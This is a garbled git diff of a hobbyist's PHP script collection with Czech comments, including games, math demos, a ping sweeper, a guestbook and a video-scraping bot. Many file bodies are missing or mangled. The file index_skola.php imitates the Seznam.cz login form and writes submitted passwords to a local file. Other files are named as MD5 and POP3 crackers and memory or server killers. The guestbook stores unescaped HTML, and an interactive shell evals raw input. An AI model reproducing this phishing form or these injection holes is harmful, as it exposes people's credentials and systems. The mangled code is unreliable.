    " ) { + $line = strip_tags($line); + //echo($line."\n"); + $lyrics = $lyrics.$line."\n"; + } + + $lyrics = trim($lyrics); + if($lyrics == "") $lyrics = "Error_2: Lyrics not found!"; + return($lyrics."\n"); +} + +function parse_music_info($filename) { //This returns array with music info (0 => Artist, 1 => Title) parsed from filename + $filename = explode("-", $filename); + $ret[0] = $filename[0]; + $filename = split("(-|\\.)", $filename[1]); + $ret[1] = $filename[0]; + + $ret = str_replace("_", " ", $ret); + $ret[0] = trim($ret[0]); + $ret[1] = trim($ret[1]); + //print_r($filename); //Debug + //print_r($ret); //Debug + return $ret; +} + +///CODE///////////////////////////////////////////////////////////////////// +$song = parse_music_info("Jimi_Hendrix_-_Are_you_experienced.mp3"); +echo("Lyrics for: ".$song[1]." by: ".$song[0]."\n\n"); +echo get_lyrics($song[0] ,$song[1])."\n"; +//echo get_lyrics("Jimi Hendrix" ,"Are you experienced"); + +?> diff --git a/php/skripty/m3u_browser.php b/php/skripty/m3u_browser.php new file mode 100644 index 0000000..bf0d936 --- /dev/null +++ b/php/skripty/m3u_browser.php @@ -0,0 +1,18 @@ +$file
    \n"; + $num = ($num + 1); + } + } + closedir($files); +} + +$dir = "."; +if(isset($_GET["dir"])) $dir = $_GET["dir"]; + diff --git a/php/skripty/mail.php b/php/skripty/mail.php new file mode 100644 index 0000000..b487d3d --- /dev/null +++ b/php/skripty/mail.php @@ -0,0 +1,13 @@ + diff --git a/php/skripty/mailcheck.php b/php/skripty/mailcheck.php new file mode 100644 index 0000000..6d10d6f --- /dev/null +++ b/php/skripty/mailcheck.php @@ -0,0 +1,83 @@ + diff --git a/php/skripty/md5crack.php b/php/skripty/md5crack.php new file mode 100644 index 0000000..b4de99b --- /dev/null +++ b/php/skripty/md5crack.php @@ -0,0 +1,50 @@ + diff --git a/php/skripty/mem_kill.php b/php/skripty/mem_kill.php new file mode 100644 index 0000000..6aacfc5 --- /dev/null +++ b/php/skripty/mem_kill.php @@ -0,0 +1,28 @@ + ($t + $time) ) + { echo("\nDONE!\nRELASING MEMORY FOR SYSTEM..."); die(); break; } +} +?> diff --git a/php/skripty/microtime.php b/php/skripty/microtime.php new file mode 100644 index 0000000..edcbf6a --- /dev/null +++ b/php/skripty/microtime.php @@ -0,0 +1,13 @@ + diff --git a/php/skripty/multi_terminal.php b/php/skripty/multi_terminal.php new file mode 100644 index 0000000..ec85448 --- /dev/null +++ b/php/skripty/multi_terminal.php @@ -0,0 +1,26 @@ + diff --git a/php/skripty/nadruhou.php b/php/skripty/nadruhou.php new file mode 100644 index 0000000..2e018bd --- /dev/null +++ b/php/skripty/nadruhou.php @@ -0,0 +1,84 @@ +/n" + +//Settings: +$start = -6; //0 //First X +$zero = 0; //Zero line +$stop = 6; //Last X +$step = 0.5; //0.1 //Increase X on every line by this number +$reset = 50; //When X >= reset, then it will be reseted to zero +$zoom = 1; //1 //This will repeat every line few times +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Function: +//You can specify your function here: +function func($x) { + +$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 2; //20 //35 //40 //This will stretch every line. + +$y = ( ( ($x * $x) + $offset) * $width ); +//echo("Debug: ".$x." ".$y." "); //Debug +return ($y); + +} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo (" | y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +//Set x to $start: +$pos = $start; + +//Drawing: +while(1) { + + //usleep($sleep); //Wait in microseconds + + $znaku = func($pos); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + //Draw: Y axis: + //echo(" ".$pos."\n"); //Debug + if ($pos == $zero) { + echo("-+--------------------------------------------------------------------------->\n"); + } + + //Increase X: + $pos = ($pos + $step); + + //Reset (for neverending curves, etc...): + if ($pos >= $reset) { + $pos = 0; + } + + //Stop if $stop is reached: + if ($pos > $stop) { + break; + } + +} +?> diff --git a/php/skripty/php_brainfuck.php b/php/skripty/php_brainfuck.php new file mode 100644 index 0000000..8b24838 --- /dev/null +++ b/php/skripty/php_brainfuck.php @@ -0,0 +1,28 @@ ++++++++++<-]>.<+++++[>++++++<-]>-.+++++++..+++.<++++++++[>>++++<<-]>>.<<++++[>------<-]>.<++++[>++++++<-]>.+++.------.--------.>+."; + +$buffer = ""; +$pos = 0; +$while = array(); // array($i, ...) +for ($i=0; $i < strlen($code); $i++) { + switch ($code{$i}) { + case '>': $pos++; break; + case '<': $pos--; break; + case '+': $buffer{$pos} = chr(ord($buffer{$pos}) + 1); break; + case '-': $buffer{$pos} = chr(ord($buffer{$pos}) - 1); break; + case '.': echo $buffer{$pos}; break; + case ',': $buffer{$pos} = fgetc(STDIN); break; + case '[': if (ord($buffer{$pos})) $while[] = $i; else for ($depth=1; $depth; $i++) { + if ($code{$i+1} == '[') $depth++; + elseif ($code{$i+1} == ']') $depth--; + } + break; + case ']': $i = array_pop($while) - 1; break; + default: echo "Unrecognized character.\n"; exit(1); + } +} + +echo("\n\n"); + +?> diff --git a/php/skripty/php_demo.php b/php/skripty/php_demo.php new file mode 100644 index 0000000..dd5eb67 --- /dev/null +++ b/php/skripty/php_demo.php @@ -0,0 +1,29 @@ +0;$x--) echo("#"); + echo("\x0d"); +} + +$tnum = rand(0,99); +echo("Find: ".($find = md5($tnum)).":??\n"); +$i = 0; +while(1) { + $tnum = rand(0,99); + $test = md5($tnum); + echo("\x0d MD5: ".$test." ".$tocse[$i]." :$tnum "); + usleep(50000); + if($test == $find) { break; } + $i++; + if($i > 3) { $i = 0; } +} +echo("\x0d MD5: ".$test.":$tnum \n Found\x07!!!\n\n"); + +} diff --git a/php/skripty/php_shell.php b/php/skripty/php_shell.php new file mode 100644 index 0000000..6475881 --- /dev/null +++ b/php/skripty/php_shell.php @@ -0,0 +1,38 @@ + 1) { + array_shift($argv); + //print_r($argv); //Debug + include($argv[0]); + die(); +} + +echo ( +"PHP CONSOLE\n" +."Coded: Harvie 2oo7\n" +."Version: 0.3\n" +."--------------------------\n" +); + +//$loop = 1; +$__prompt__ = "\n> "; +while(1) { + eval(readline($__prompt__)); +} + +?> diff --git a/php/skripty/pico.php b/php/skripty/pico.php new file mode 100644 index 0000000..3e0593b --- /dev/null +++ b/php/skripty/pico.php @@ -0,0 +1,19 @@ + diff --git a/php/skripty/ping.php b/php/skripty/ping.php new file mode 100644 index 0000000..46906c9 --- /dev/null +++ b/php/skripty/ping.php @@ -0,0 +1,83 @@ + 3, "usec" => 0)); //<-- Change TimeOut Here <-- + + /* connect to socket */ + socket_connect($socket, $host, null); + + /* record start time */ + list($start_usec, $start_sec) = explode(" ", microtime()); + $start_time = ((float) $start_usec + (float) $start_sec); + + socket_send($socket, $package, strlen($package), 0); + + if(@socket_read($socket, 255)) { + list($end_usec, $end_sec) = explode(" ", microtime()); + $end_time = ((float) $end_usec + (float) $end_sec); + + $total_time = $end_time - $start_time; + + return $total_time; + } else { + return false; + } + + socket_close($socket); +} + +//READLINE +function readline ( $fp ) { + //echo $prompt; + + $t = ""; + $c = ""; + + while(1) { + $c = fgetc($fp); + if ($c == "\n") { // && ($c == "\r") //May be later on oher systems + return $t; + } else { + $t = ($t.$c); + } + } + + return $t; + +} +//READLINE END + +//Code + +//echo (ping ("192.168.2.1")); +$fp = fopen("hosts.txt", "r+"); //host list file (hosts separated by newline, ends with two empty lines) + +$fhost = "EMPTY"; +while ($fhost != "") { + + $ping = ""; + $fhost = trim(readline($fp)); + + if ( $fhost != "" ) { + echo("HOST: ".$fhost); + + try { + $ping = ping($fhost); + } catch(string $err) {} + + if ( ($ping != "") && ($ping > "0") ) { + echo(" - UP PING: ".$ping." sec.\n"); + } else { + echo (" - TIMED OUT\n"); + } + } + +} + +?> diff --git a/php/skripty/pop3crack.php b/php/skripty/pop3crack.php new file mode 100644 index 0000000..41f43a1 --- /dev/null +++ b/php/skripty/pop3crack.php @@ -0,0 +1,49 @@ + diff --git a/php/skripty/pop3test.php b/php/skripty/pop3test.php new file mode 100644 index 0000000..9124684 --- /dev/null +++ b/php/skripty/pop3test.php @@ -0,0 +1,33 @@ + diff --git a/php/skripty/proc_test.php b/php/skripty/proc_test.php new file mode 100644 index 0000000..d1b7528 --- /dev/null +++ b/php/skripty/proc_test.php @@ -0,0 +1,15 @@ + array("pipe", "r"), // stdin is a pipe that the child will read from + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + 2 => array("pipe", "r") // stderr is a file to write to +); + +$proc = proc_open("proctest.exe", $desc, $pipes); +sleep(10); +proc_terminate($proc); +proc_close($proc); +proc_terminate($proc); + +?> diff --git a/php/skripty/prvocisla.php b/php/skripty/prvocisla.php new file mode 100644 index 0000000..fc72d2a --- /dev/null +++ b/php/skripty/prvocisla.php @@ -0,0 +1,39 @@ + 2) && (($num % 2) == 0) ) { return (0); } + $i = 2; + while ($i < $num) { + if ( ($num % $i) == 0 ) { return (0); } + $i++; + } + return (1); +} + +//CODE + +//Prvocisla: 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, … +//echo(is_prime(1)."\n".(7%2)); //Debug + +//Settings +$min = 1; +$max = 3000; + +//Logic +$total_primes = 0; +while ($min <= $max) { + if(is_prime($min)) { + echo($min."\n"); //Show all primes + $total_primes++; //Count all primes + } +$min++; +} + +//Output +echo("\nPrimes total: ".$total_primes."\n"); //Total number of primes + +?> diff --git a/php/skripty/rada_crack.php b/php/skripty/rada_crack.php new file mode 100644 index 0000000..ebc7ca9 --- /dev/null +++ b/php/skripty/rada_crack.php @@ -0,0 +1,62 @@ + !!! OPTIMALIZOVAT !!! <- + if(!eregi($istr, $GLOBALS[$name])) { + if( $istr[0] == $GLOBALS[$name][strlen($GLOBALS[$name])-1] ) { + $istr = substr($istr, 1); + $GLOBALS[$name] = $GLOBALS[$name].$istr; + } elseif( $GLOBALS[$name][0] == $istr[strlen($istr)-1] ) { + $GLOBALS[$name] = substr($GLOBALS[$name], 1); + $GLOBALS[$name] = $istr.$GLOBALS[$name]; + } else { + + //Nahodne na zacetek nebo konec + if(rand(0,1)) { + $GLOBALS[$name] = $istr.$GLOBALS[$name]; + } else { + $GLOBALS[$name] = $GLOBALS[$name].$istr; + } + + } + } + //$GLOBALS[$name]=$GLOBALS[$name].$istr; //Debug +} + +// +function rada_unique($name) { //Funkce pro vyhledani a smazani duplikatu (i potrebnych) + $length = $GLOBALS["places"]; + $replacer = "%"; + + for($i=0;$i<(strlen($GLOBALS[$name])-$length);$i++) { + + $sub = substr($GLOBALS[$name], $i, $length); + for($x=0;$x<$length;$x++) { + $GLOBALS[$name][($i+$x)] = $replacer; + } + + $GLOBALS[$name] = str_replace($sub, "", $GLOBALS[$name]); //Smaze duplikaty + + $replace=""; + for($x=0;$x<$length;$x++) { + $replace = $replace.$replacer; + } + + $GLOBALS[$name] = str_replace($replace, $sub, $GLOBALS[$name]); + } + +} + +// +function add_zeroes($num, $places) { //Zarovna cislo na $places mist pridanim nul na zacatek + $str = ""; + for($i=0;$i<$places;$i++) { + $str = $str."0"; + } + //$num = base_convert($num, 10, $base); //BASE CONVERT -> !!! NOT WORKS YET !!! <- + $str=$str.$num; + $str = substr($str, strlen($str)-$places); + return $str; +} + +///CODE/////////////////////////////////////////// +//Test +//die(add_zeroes(23, 5)); +////////////////////////////////////////////////// +$try = $tryes; +$next = true; +while($next) { //MAIN LOOP + $next = false; + + $rada = ""; //Vytvorime prazdnou radu + for($i=$start;$i<=$stop;$i++) { //Pridame vsechna n-cisli + $istr = add_zeroes($i, $places); + rada_add("rada", $istr); + } + + rada_unique("rada"); + + $notfound = 0; + for($i=$start;$i<=$stop;$i++) { + $istr = add_zeroes($i, $places); + if(!eregi($istr, $rada)) { + $notfound++; + //echo("Not found: $i\n"); + $next = true; + } + } + + echo("Total not found: $notfound\n"); //Debug + + if($try > 0) { + if($notfound <= $minnotfound || !isset($minnotfound)) { + echo("-minnf: $notfound\n"); //Debug + $minnotfound = $notfound; + $try = $tryes; + } else { + $try--; + } + } else { + if($notfound <= $minnotfound || $notfound == 0) $next = false; + } + +} //MAIN LOOP + +for($i=$start;$i<=$stop;$i++) { //Pridame vsechna zbyla n-cisli + $istr = add_zeroes($i, $places); + rada_add("rada", $istr); + } + +/////////OUTPUT/////////////////////////////////// +echo("\n"); +echo("Length: ".strlen($rada)." chars\n"); +echo("Total not found: $notfound\n"); +echo($rada); +echo("\n\n"); diff --git a/php/skripty/serv_kill.php b/php/skripty/serv_kill.php new file mode 100644 index 0000000..1fc76a6 --- /dev/null +++ b/php/skripty/serv_kill.php @@ -0,0 +1,17 @@ + diff --git a/php/skripty/service_checker.php b/php/skripty/service_checker.php new file mode 100644 index 0000000..1dd69f1 --- /dev/null +++ b/php/skripty/service_checker.php @@ -0,0 +1,19 @@ + +

    TCP Service Checker

    +
    + Host:
    + Port:
    + Timeout:
    +
    + +
     UNRECHEABLE 
    ".$errno." - ".$errstr.""; } + else + { echo " RECHEABLE "; } + +?>
    + + diff --git a/php/skripty/sinus_curve.php b/php/skripty/sinus_curve.php new file mode 100644 index 0000000..181ab85 --- /dev/null +++ b/php/skripty/sinus_curve.php @@ -0,0 +1,55 @@ +/n" + +//Settings: +$start = 0; //0 //First X +$step = 0.1; //0.1 //Increase X on every line by this number +$reset = (2*PI()); //When X >= reset, then it will be reseted to zero +$zoom = 1; //1 //This will repeat every line few times +$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 35; //20 //35 //40 //This will stretch every line. +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo ("0| y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +$pos = $start; +while(1) { + + usleep($sleep); //Wait in microseconds + + $znaku = ((sin($pos) + $offset) * $width); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos." "); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + //echo(" ".$pos." "); //Debug + $pos = ($pos + $step); + if ($pos >= $reset) { + $pos = 0; + } + +} +?> diff --git a/php/skripty/stdin_socket.php b/php/skripty/stdin_socket.php new file mode 100644 index 0000000..547bd07 --- /dev/null +++ b/php/skripty/stdin_socket.php @@ -0,0 +1,22 @@ + diff --git a/php/skripty/sudoku_web.php b/php/skripty/sudoku_web.php new file mode 100644 index 0000000..0315b1d --- /dev/null +++ b/php/skripty/sudoku_web.php @@ -0,0 +1,145 @@ +
    + +
    +
    + += 0) { + $del = $donenums[$indx]; + //echo("!".$del); + $cands = str_replace($del, "", $cands); + $indx--; + } + //echo "\n\n".$cands; + return $cands; +} + +// +function sudoku_compute($sudoku) { + + $sudoku_old = ""; + while( $sudoku_old != $sudoku ) { + $sudoku_old = $sudoku; + + $is = sizeof($sudoku)-1; + while ($is >= 0) { + $line = $sudoku[$is]; + + $i = strlen($line)-1; + while ($i >= 0) { + //echo($line[$i]); + + $cands = sudoku_candidates ( $sudoku, ($is+1), ($i+1) ); + if ( strlen($cands) == 1 && !is_numeric($sudoku[$is][$i]) ) { + $sudoku[$is][$i] = $cands; + } + + $i--; + } + //echo("\n"); + + $is--; + } + } + return($sudoku); +} + +///CODE/////////////////////////////////////////// +/* +$sudoku = array( + "43 6 5 89", + "56 23", + " 2 3 ", + "7 5 6 9 4", + " 9 1 ", + "2 9 7 5 1", + " 4 8 ", + "32 56", + "89 5 6 12" + ); +*/ + +sudoku = explode ("\n",$_POST["sudokupost"]); + + +echo("Zadani:\n"); +sudoku_print($sudoku); +echo("\nVysledek:\n"); +sudoku_print(sudoku_compute($sudoku)); + +?> diff --git a/php/skripty/terminal_client.php b/php/skripty/terminal_client.php new file mode 100644 index 0000000..547bd07 --- /dev/null +++ b/php/skripty/terminal_client.php @@ -0,0 +1,22 @@ + diff --git a/php/skripty/terminal_connect.php b/php/skripty/terminal_connect.php new file mode 100644 index 0000000..4857e9c --- /dev/null +++ b/php/skripty/terminal_connect.php @@ -0,0 +1,11 @@ + diff --git a/php/skripty/terminal_server.php b/php/skripty/terminal_server.php new file mode 100644 index 0000000..5314410 --- /dev/null +++ b/php/skripty/terminal_server.php @@ -0,0 +1,21 @@ + diff --git a/php/skripty/tictactoe.php b/php/skripty/tictactoe.php new file mode 100644 index 0000000..f9e8946 --- /dev/null +++ b/php/skripty/tictactoe.php @@ -0,0 +1,111 @@ +0 && $place<10) && ($ttt[$place] != $x && $ttt[$place] != $o) && is_numeric($place) ) { + $ttt[$place] = $player; + } else { $GLOBALS["err"] = true; } + return $ttt; +} + +// +function ttt_check($ttt) { + $x = $GLOBALS["cross"]; + $o = $GLOBALS["circl"]; + //Horizontal + if( $ttt[7] == $ttt[8] && $ttt[8] == $ttt[9] ) { return 1; } + if( $ttt[4] == $ttt[5] && $ttt[5] == $ttt[6] ) { return 1; } + if( $ttt[1] == $ttt[2] && $ttt[2] == $ttt[3] ) { return 1; } + //Vertical + if( $ttt[7] == $ttt[4] && $ttt[4] == $ttt[1] ) { return 1; } + if( $ttt[8] == $ttt[5] && $ttt[5] == $ttt[2] ) { return 1; } + if( $ttt[9] == $ttt[6] && $ttt[6] == $ttt[3] ) { return 1; } + //Diagonal + if( $ttt[7] == $ttt[5] && $ttt[5] == $ttt[3] ) { return 1; } + if( $ttt[1] == $ttt[5] && $ttt[5] == $ttt[9] ) { return 1; } + //Nobody won + for($i=1;$i| ", $url); + //print_r($url); + $url = $url[0]; + if(eregi(".com", $url)) { + $urls[$i] = "http://".$url; + $i++; + } + } + //print_r($urls); + return($urls); +} + +function wmv_bot($url, $ext) { + foreach(url_bot($url) as $url) { + $file = file($url); + $file[-1] = ""; + $file = implode("\n", $file); + $file = spliti("http://", $file); + //print_r($file); + $urlz[-1] = ""; + $i = 0; + foreach($file as $url) { + $url = explode(">", $url); + $url = $url[0]; + if(eregi(".com", $url) && eregi($ext, $url) && !eregi(" |\"", $url)) { + $urlz[$i] = "http://".$url; + $i++; + } + } + print_r($urlz); + } + return($urlz); +} + +// +function download_url_array($results, $download_dir) { + //$download_dir = $GLOBALS["download_dir"]; + $fails = 0; $done = 0; + echo("\nDownloading to $download_dir ...\n"); + if(!is_dir($download_dir)) { + echo("Creating directory: $download_dir\n\n"); + mkdir($download_dir); + } else { echo("\n"); } + foreach($results as $id => $url) { + $file = url2filename($url); + echo("Downloading $file (#$id)... "); + $file = "$download_dir\\$file"; + if(!is_file($file) && @copy($url, $file)) { + echo("Done.\n"); + $done++; + } else { + if(is_file($file)) { echo("File already exists "); } + echo("Failed!\n"); + $fails++; + } + } + $totaldls = ($fails+$done); + echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n"); +} + +///CODE////////////////////////////////////////////////////////////////////////////////////// +$results = wmv_bot("http://www.loliti.com/cz/m/bonde19e_s_vodou_0.php", ".wmv"); +print_r($results); +//download_url_array($results, "X:\\wmvBot"); //Automatic Download + +?> diff --git a/php/skripty/xor_8bits.php b/php/skripty/xor_8bits.php new file mode 100644 index 0000000..d99ae1f --- /dev/null +++ b/php/skripty/xor_8bits.php @@ -0,0 +1,16 @@ + diff --git a/php/skripty/xor_enc.php b/php/skripty/xor_enc.php new file mode 100644 index 0000000..f7cc160 --- /dev/null +++ b/php/skripty/xor_enc.php @@ -0,0 +1,84 @@ + out.txt\n"); } + +//echo($argv[0]."\n"); +//$code = $argv[1]; +//$message = implode("", file($argv[2])); +$message = "&.( h(-fKH-)!F +g%«ÍH$,7 +Y"; +$code = "gfgFHJghGjhghjfVHGhjGhjGvvXfgdTGfHgHfgFhfVBGcftDtFzdfdgfgf6ztFzF"; + + + +//Message to bin array: +$i = 0; +$message_bin = ""; +while($i < strlen($message)) { + $message_bin = ($message_bin . bin_trim(base_convert(ord($message[$i]),10,2)). "\n " ); + $i++; +} +//echo ($message_bin."\n\n"); //Debug + +$message_bin = explode(" ",$message_bin); + +//Encode: +$i = 0; +$y = 0; +while ($i < strlen($message)) { + + $char = $message_bin[$i]; + $cchar = bin_trim( base_convert( ord($code[$y]), 10, 2) ); + + //echo($code[$y]); //Debug + //echo($cchar."\n"); //Debug + //echo($char); //Debug + + $message[$i] = chr( base_convert(xor_bytes($char, $cchar),2,10 )); + + $y++; + if ($y >= strlen($code)) { $y = 0; } + $i++; + +} + +echo($message); + +?> diff --git a/php/sshb.php b/php/sshb.php new file mode 100644 index 0000000..fb27d6f --- /dev/null +++ b/php/sshb.php @@ -0,0 +1,17 @@ +#!/usr/bin/php + 1) $in = $argv[1]; +$out = explode('/', $in); $out = trim($out[sizeof($out)-1]); +if($argc > 2) $out = $argv[2]; +if($argc > 3) $len = $argv[3]; + +$i=1; +while(is_file($out)) { + $sout = $i.'-'.$out; + if(!is_file($sout)) $out = $sout; + $i++; +} + +//Banner +echo("Rippin' da stream $in...\nSaving to $out\nc-C to stop\n\n"); + +//Init +$total = @(filesize($in)); +$in = fopen($in, 'rb'); +$out = fopen($out, 'wb'); +$b = 0; +$sp = 'N/A'; +$perc = 'N/A'; +$st = time(); + +while(!feof($in) && !feof($out)) { + //Info + $t = time()-$st; + $s=$t%60; + $m=floor($t/60); + $kb=floor($b/1000); + $mb=floor($b/1000000); + if($s!=0) $sp = round($kb/$s, 2); + if(is_int($total)) $perc = ceil($b/$total*100); + echo("$mb MB = $kb KB == $m:$s Mins == $perc% == $sp kB/s (avg.) \r"); + + //Download + $data = fgets($in,$len); + fputs($out,$data); + $b = $b+strlen($data); + } +echo("\n"); + +//Fclose all +fclose($in); +fclose($out); diff --git a/php/stredni-php/data.txt b/php/stredni-php/data.txt new file mode 100755 index 0000000..217d87e --- /dev/null +++ b/php/stredni-php/data.txt @@ -0,0 +1 @@ +000000000000001111asdasdafsdfsdfmoje heslosdfsdfsdsdfsdfìšýáíéfafdfafsdasfdasfads \ No newline at end of file diff --git a/php/stredni-php/delete.php b/php/stredni-php/delete.php new file mode 100755 index 0000000..9466aa8 --- /dev/null +++ b/php/stredni-php/delete.php @@ -0,0 +1,8 @@ + diff --git a/php/stredni-php/gbook.txt b/php/stredni-php/gbook.txt new file mode 100755 index 0000000..5f28270 --- /dev/null +++ b/php/stredni-php/gbook.txt @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/php/stredni-php/gbook2.php b/php/stredni-php/gbook2.php new file mode 100755 index 0000000..339a8bd --- /dev/null +++ b/php/stredni-php/gbook2.php @@ -0,0 +1,225 @@ + + + + + +Kniha NávÅ¡těv - (c) 2oo6 - Harvie + + + + + + + + +
    +
    +

    Kniha návštěv

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + +

    + Text příspěvku:
    + +

    + +

    + + +

    + + + +

    + +

    + + + +
    + +
    + +", $text); + $text = str_replace("[/b]","", $text); + + $text = str_replace("[i]","", $text); + $text = str_replace("[/i]","", $text); + + $text = str_replace("[u]","", $text); + $text = str_replace("[/u]","", $text); + + $text = str_replace("[tt]","", $text); + $text = str_replace("[/tt]","", $text); + + $text = str_replace("[pre]","
    ", $text);
    +		$text = str_replace("[/pre]","
    ", $text); + +$text = nl2br($text); + + //Zjištění data a času + //SetLocale("LC_ALL", "Czech"); //Nastavení českého prostředí + $datum = Date("j/m/Y H:i:s", Time()); + + //Otevření souboru + $fp = FOpen ("gbook.txt", "a+"); + + //Zápis dat do souboru + FWrite ($fp, "
    \n"); + + FWrite ($fp, "\n"); + + FWrite ($fp, "
    ".$title."
    \n"); + FWrite ($fp, "
    vložil: ".$name." - ".$contact."
    \n"); + FWrite ($fp, "
    ".$datum."

    \n"); + + FWrite ($fp, "
    \n"); + FWrite ($fp, $text); + FWrite ($fp, "\n
    \n\n"); + + //Uzavření souboru + FClose ($fp); + + //Výpisy + echo "Příspěvek byl korektně uložen!
    Vaše IP adresa: " . $_SERVER[REMOTE_ADDR] . " byla uložena!
    "; + +else: + + echo "Nezapomeňte vyplnit všechna pole!"; + +endif; + +?> +
    + + + + + diff --git a/php/stredni-php/index_skola.php b/php/stredni-php/index_skola.php new file mode 100755 index 0000000..6ad3478 --- /dev/null +++ b/php/stredni-php/index_skola.php @@ -0,0 +1,77 @@ +"; + +echo $_POST["domain"]; +echo "
    "; + +echo $_POST["password"]; +echo "
    "; +echo "
    "; + +echo "HELL-O-WORLD!!!
    "; +echo "
    "; + +echo << +

    Pøihlásit se uživatelským jménem Seznam.cz

    +

    + + + + + + + + +

    +

    + + + +

    +

    + - Co to je? +

    +

    + + + + + + + + + + + +

    + + + +END; + +echo '+ '. ($a + $b) ."
    "; +echo "- ". ($a - $b) ."
    "; +echo "/ ". ($b / $a) ."
    "; +echo "* ". ($a * $b) ."
    "; +echo "
    "; + +$fp = FOpen ("data.txt", "a"); //a = doplnìní w = zápis r = ètení +FWrite ($fp, $_POST["password"]); // uloží obsah promìnné $data do souboru data2.txt + +?> \ No newline at end of file diff --git a/php/stredni-php/jurasek_gbook.txt b/php/stredni-php/jurasek_gbook.txt new file mode 100755 index 0000000..efa259f --- /dev/null +++ b/php/stredni-php/jurasek_gbook.txt @@ -0,0 +1,879 @@ + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +asadas +
    + + +
    + + +
    asdasdasd

    +
    +d +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
    +

    LAMA

    + + +

    lamicka

    +
    + + +
    + + +
    asdasdas

    +
